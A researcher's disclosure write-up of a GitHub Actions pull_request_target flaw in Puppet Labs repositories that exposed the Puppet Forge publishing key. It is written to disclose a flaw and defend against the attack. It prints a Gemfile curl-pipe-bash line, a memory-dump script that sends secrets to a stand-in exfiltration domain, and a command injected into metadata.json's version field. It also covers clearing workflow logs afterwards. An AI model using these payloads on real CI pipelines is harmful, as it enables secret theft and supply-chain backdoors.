Enter the Nightmare

What if there was a supply chain attack that could provide an attacker with direct access to core infrastructure within thousands of companies worldwide. What if that attack required no social engineering and could be executed within a few hours?

Between April 2nd, 2024 and May 21st, 2024 that attack would have been possible, and the only prerequisite would be signing up for an account on GitHub.

What is this supply chain attack? It is the ability to add malware to every single official Puppet Forge module.

Puppet Gone Rogue

This attack would have been possible due to a systemic GitHub Actions CI/CD misconfiguration within Puppet Lab’s public GitHub repositories. The vulnerability allowed anyone with a GitHub Account to obtain the API key Puppet used to push official modules to Puppet Forge. The only actions an attacker would need to do is create a pull request, issue a few API calls, and quietly close their pull request minutes later.

What is Puppet?

Puppet is an infrastructure-as-code service that is used by companies to automate maintenance and provisioning of infrastructure. It is predominantly used by large companies and government organizations with significant on-premise infrastructure. Many of Puppet’s featured customers are within the healthcare, financial services, and critical infrastructure industries. These organizations are prime targets for ransomware groups.

Impact

With the API key, an attacker could choose to quickly backdoor a single module with the hope of flying under the radar, or go for an all out approach whereby they simultaneously backdoor major modules in hopes of quickly catching targets before someone notices.

Either outcome would be a global cyber disaster and could cause billions in economic damage at worst and a forced exercise of disaster recovery procedures at best.

Thankfully, I Found it First

I discovered this vulnerability using a tool that I have been developing to detect GitHub Actions misconfigurations at scale, Gato-X. I’ve identified vulnerabilities in companies like Microsoft, NVIDIA, and more. If you want to see how Gato-X processed the puppetlabs organization, take a look here!

To confirm the impact, I executed a proof of concept to demonstrate I could push to Puppet Forge and then reported the vulnerability to Puppet. Puppet mitigated the vulnerability the following day and revoked the API token. Over the following weeks, Puppet Labs fixed the vulnerability in dozens of repositories and added a new API token to repositories.

What is Puppet Forge?

Puppet Forge is a package repository for Puppet Modules, similar to NPM or PyPi. It contains modules officially supported by Puppet along with third-party modules. What is unique about Forge modules is that each runs in the context of Puppet deployments. Imagine being able to drop malware directly onto the production infrastructure of 80% of the Global 5000 (according to Puppet’s Sales pitch).

This vulnerability allowed Anyone with a GitHub Account to directly push updated Puppet Forge packages!

I would have been able to push updates to packages such as https://forge.puppet.com/modules/puppetlabs/accounts.

Unlike Pypi or NPM, these are not downloaded on individual developer machines. The vast majority of downloads come from DevOps infrastructure of Puppet users around the world. If an attacker were to backdoor the top 5-10 modules, within hours systems that do not pin a specific version would begin to use the packages as part of Puppet deployment jobs.

Furthermore, the module itself informs what a malicious payload would need to do and how to blend in with noise. Updating a database? Misconfigure it. Adding accounts? Add another and configure a cron job for it to beacon to C2. This would fly by Puppet Forge’s malware check, which is a VirusTotal scan.

Vulnerability and Proof of Concept

This vulnerability was trivial to exploit, and that is what made it so scary. All it required was creating a pull request and 5 minutes of time.

The vulnerability was introduced in April, 2024 alongside a series of changes to Puppet Labs repositories changing the pull_request trigger to pull_request_target. If you are familiar with GitHub Actions attacks, workflows that run on pull_request_target have access to secrets, a GITHUB_TOKEN with write access, and run in the context of the target branch. Pull request approvals also do not apply to workflows on the pull_request_targe t trigger.

Initial Workflow

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16

name: "mend"

on:
  pull_request_target:
    types:
      - opened
      - synchronize
  schedule:
    - cron: "0 0 * * *"
  workflow_dispatch:

jobs:

  mend:
    uses: "puppetlabs/cat-github-actions/.github/workflows/mend_ruby.yml@main"
    secrets: "inherit"

The initial workflow references a secondary workflow. In GitHub Actions workflows can reference a reusable workflow as part of a job. This is often how Pwn Request vulnerabilities slip through security reviews. The typical guidance for pull_request_target is to never check out and run code from pull requests. In this case, the checkout operation happened in the referenced workflow, which itself does not have the pull_request_target trigger.

Called Workflow

The referenced workflow will retrieve the PR head sha if the trigger is pull_request_target, and then proceed to check out the code from the PR head. It doesn’t immediately appear that the workflow is executing code, but after close observation I noticed a call to bundle lock. Bundle will execute any system commands within Gemfiles if they are present. This allows running arbitrary code within the context of the called workflow.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27

 # If we are on a PR, checkout the PR head sha, else checkout the default branch
  - name: "Set the checkout ref"
    if: success()
    id: set_ref
    run: |
      if [[ "${{ github.event_name }}" == "pull_request_target" ]]; then
        echo "ref=${{ github.event.pull_request.head.sha }}" >> $GITHUB_OUTPUT
      else
        echo "ref=${{ github.ref }}" >> $GITHUB_OUTPUT
      fi

  - name: "checkout"
    if: success()
    uses: "actions/checkout@v4"
    with:
      fetch-depth: 1
      ref: ${{ steps.set_ref.outputs.ref }}

  - name: "setup ruby"
    if: success()
    uses: "ruby/setup-ruby@v1"
    with:
      ruby-version: 2.7

  - name: "bundle lock"
    if: success()
    run: bundle lock

To make matters worse, the workflow used default GITHUB_TOKEN permissions. This was unfortunate, because the workflow did not require write permissions at all. It has access to a MEND_TOKEN secret, which is used to upload vulnerability scanning results, but that would have been the extent of the impact.

Lack of least privilege configurations turned a Low-risk Information Disclosure vulnerability into a Critical Hack-The-Planet vulnerability.

To obtain the GITHUB_TOKEN, all an attacker had to do was add the following line to the Gemfile and create a pull request.

1

system("curl -sSfL gist.githubusercontent.com/yourUser/c5a17987fb26abe0827f3db6364155cf/raw/27cc63c043da2339e120ffeffc4de8cd8fb9039a/test1.sh | bash && exit 1")

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13

# Replace with Burp collaborator domain or similar.
YOUR_EXFIL="your-exfil-domain.com"

# Uses memory dump technique from github.com/nikitastupin/pwnhub / with regex to parse out all secret values (including GITHUB_TOKEN)
if [[ "$OSTYPE" == "linux-gnu" ]]; then
  B64_BLOB=`curl -sSf https://gist.githubusercontent.com/nikitastupin/30e525b776c409e03c2d6f328f254965/raw/memdump.py | sudo python3 | tr -d '\0' | grep -aoE '"[^"]+":\{"value":"[^"]*","isSecret":true\}' | sort -u | base64 -w 0`
  # Exfil to Burp
  curl -s -d "$B64_BLOB" https://$YOUR_EXFIL/token > /dev/null
  # Sleep for 15 mins to abuse GITHUB_TOKEN
  sleep 900
else
  exit 0
fi

Ok, so now that I have a GITHUB_TOKEN with write access, how can I get the FORGE_API_KEY? The key was used as the last step in the release workflow, so I needed a way to run arbitrary code within the workflow to retrieve the secret from the runner’s memory. Initially, I thought there was no way to run arbitrary code, and that the impact would be from an attacker triggering a real release. Still impactful, but the attack would be louder and have to be executed for each module. Each attempt would provide another opportunity for detection.

It turned out, there was a path…

Let’s take a look at https://github.com/puppetlabs/puppetlabs-sqlserver/blob/main/.github/workflows/release.yml. That workflow ran on workflow_dispatch and proceeded to call https://github.com/puppetlabs/cat-github-actions/blob/main/.github/workflows/module_release.yml as a reusable workflow. You can find the workflow as it existed when I performed my PoC here.

The workflow didn’t run any code directly (it ran the build command in a container), but it did read a tag from the metadata.json file and saves it to an environment variable. That environment variable is saved to tag, and set as part of the GITHUB_OUTPUT.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15

      - name: "Get metadata"
        id: metadata
        run: |
          metadata_version=$(jq --raw-output .version metadata.json)
          if [[ -n "${{ inputs.tag }}" ]] ; then
            tag=${{ inputs.tag }}
            if [[ "${metadata_version}" != "${tag/v}" ]] ; then
              echo "::error::tag ${tag/v} does not match metadata version ${metadata_version}"
              exit 1
            fi
          else
            tag="v${metadata_version}"
          fi
          echo "tag=${tag}" >> $GITHUB_OUTPUT
          echo "version=${metadata_version}" >> $GITHUB_OUTPUT

Next, a subsequent step referenced that environment variable by context expression. Bingo!

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21

   - name: "Tag ${{ steps.metadata.outputs.tag }}"
        id: tag
        run: |
          # create an annotated tag -- gh release create DOES NOT do this for us!
          # TODO move this to an automatic action when a release_prep PR is merged
          git config --local user.email "${{ github.repository_owner }}@users.noreply.github.com"
          git config --local user.name "GitHub Actions"

          # overwrite existing tag?
          if [[ -n "${{ inputs.tag }}" ]] ; then
            if [[ "${{ inputs.edit }}" == "true" ]] ; then
              arg="-f"
            else
              skip_tag=1
            fi
          fi

          if [[ -z "${skip_tag}" ]] ; then
            GIT_COMMITTER_DATE="$(git log --format=%aD ...HEAD^)" git tag -a $arg -F OUTPUT.md "${{ steps.metadata.outputs.tag }}"
            git push $arg origin tag "${{ steps.metadata.outputs.tag }}"
          fi

This meant that I could bounce off of the metadata.json file to run arbitrary code and then exit (I most certainly did not want to push a release here!). I added the same payload I used earlier to the version.

1
2

"version": "5.0.2\"; curl -sSfL gist.githubusercontent.com/RampagingSloth/d6e6aff904c19ed50709063af53cca61/raw/f3505c21360c9adc11ca9e8d
557a386661115809/test.sh | bash && exit 1 && echo \"Foo"

Next, I used the captured GITHUB_TOKEN to push a feature branch to the puppetlabs/puppetlabs-sqlserver repository with the modified metadata.json file. After pushing the branch, I issued a dispatch event to that feature branch. The dispatch event triggered the release workflow.

1
2
3
4
5
6
7

curl -L \
  -X POST \
  -H "Accept: application/vnd.github+json" \
  -H "Authorization: Bearer $CAPTURED_TOKEN" \
  -H "X-GitHub-Api-Version: 2022-11-28" \
  https://api.github.com/repos/puppetlabs/puppetlabs-sqlserver/actions/workflows/release.yml/dispatches \
  -d '{"ref":"test"}'

A few seconds later, I received the FORGE_API_KEY at my Burp Collaborator URL:

After that, I used the GITHUB_TOKEN to clear run logs of workflows I triggered using GitHub’s API to delete workflow runs.

To conclude my PoC, I created a fork of the https://github.com/puppetlabs/xzscanner repository and added the Forge API token to it as a GitHub Actions secret. The Xzscanner module is a Puppet module to scan for backdoored versions of Xz within infrastructure. It was also not widely used and was marked as an unofficial module, so I decided to use it to prove that I could backdoor a tool used to find backdoors.

Within my fork I modified the README and executed the release workflow. This was the moment of truth - if the release worked, then it would mean that the API key is global.

The workflow pushed a change directly to Puppet Forge. Since my initial pull request was on puppetlabs-sqlserver and I was able to push to xzscanner using the API key, this proved that:

  • The FORGE_API_TOKEN was the same for all repositories.
  • The token could push to all Puppet Forge releases published by the puppetlabs user.

The xzscanner 0.1.2 release showing the README modification.

Disclosure Timeline

May 20th, 2024 - Disclosed Vulnerability to Puppet Labs

May 21st, 2024 - Puppet Labs Begins Fixing Repositories

May 22nd, 2024- Puppet revokes API token and removes the 0.1.2 release of the xzscanner module. This mitigated the vulnerability as even if someone were to exploit it, they would obtain the old API token which would not be able to push to Puppet Forge.

June 3rd, 2024- Informed Puppet of intent to publish a blog post once the vulnerability is fully mitigated.

June 6th, 2024 - Puppet finishes all workflow fixes, including removing vulnerable workflows from stale branches.

June 12th-June 18th, 2024 - Submitted draft of blog post to Puppet and correspondence about requested edits and feedback from Puppet.

July 2nd, 2024 - Blog post publication.

I appreciate Puppet Labs taking the report very seriously, rapidly mitigating the vulnerability, and diligently applying fixes to dozens of repositories in a short period of time.

Conclusion

Generally speaking, these “forced supply chain attacks” are a big blind spot for the industry. GitHub has very informative posts about the risks, but you have to look for them.

In the hands of even a remotely capable attacker this vulnerability could have caused extreme damage around the world.

When combining ease of exploitation, breadth of impact, and the chance a threat actor would succeed, this is by far the worst Public Poisoned Pipeline Execution vulnerability I have ever discovered. It is shocking that this vulnerability made it into dozens of Puppet Labs repositories in the first place, but when you look at the GitHub CI/CD configuration of most companies it is not surprising. Companies often do not pay enough attention to CI/CD security, as it is not considered customer facing, but these systems often have a direct line to customer impact.

Time and time again researchers like myself and others identify the same issues, the bugs are fixed (sometimes, sometimes they come back months later), but the vulnerability class remains. CI/CD attacks have some of the most shocking impacts I’ve seen for how easy they are to exploit, and it is only a matter of time before a threat actor finds and triggers a “supply chain atomic weapon” before a researcher is able to find it.

Stay Tuned for Gato-X

I will be presenting at Black Hat 24 and DEF CON 32 along with John Stawinski on the topic of GitHub Self-Hosted Runner attacks. As part of the talks, I will be publicly releasing Gato-X (GitHub Attack Toolkit - Extreme), which is a hard fork of Gato. It will include the Pwn Request and Actions Injection detection capabilities I used to discover this vulnerability, in addition to enhanced self-hosted runner attack features.

My goal with Gato-X is to bring an end to Actions Injection and Pwn Request vulnerabilities amongst open-source projects as they exist today. Today, bug bounty hunters quickly discover these issues within hours for projects that have a bug bounty program, but there are hundreds of open-source projects where these issues go undiscovered and sit vulnerable for months.

Gato-X is also blazing fast at finding these vulnerabilities, and it has a low false negative rate. It scans 35-40 thousand repositories in about one hour running on a laptop with a fast Internet connection. During the scan, it performs reachability analysis for each workflow file it scans and generates priority scores based on that analysis. The tool is not perfect, but it turns 40,000 repos into 3-4 thousand candidates. Of those, 1,500 are medium or high priority, and the results are presented such that users can quickly access the information they need to confirm if the vulnerability is valid or not.

I’ve made a lot of money using this tool, but it is time to release it publicly for the good of all. Hackers, let’s find and fix bugs. Gato-X will be available at on my GitHub page the week of Black Hat and DEF CON.

References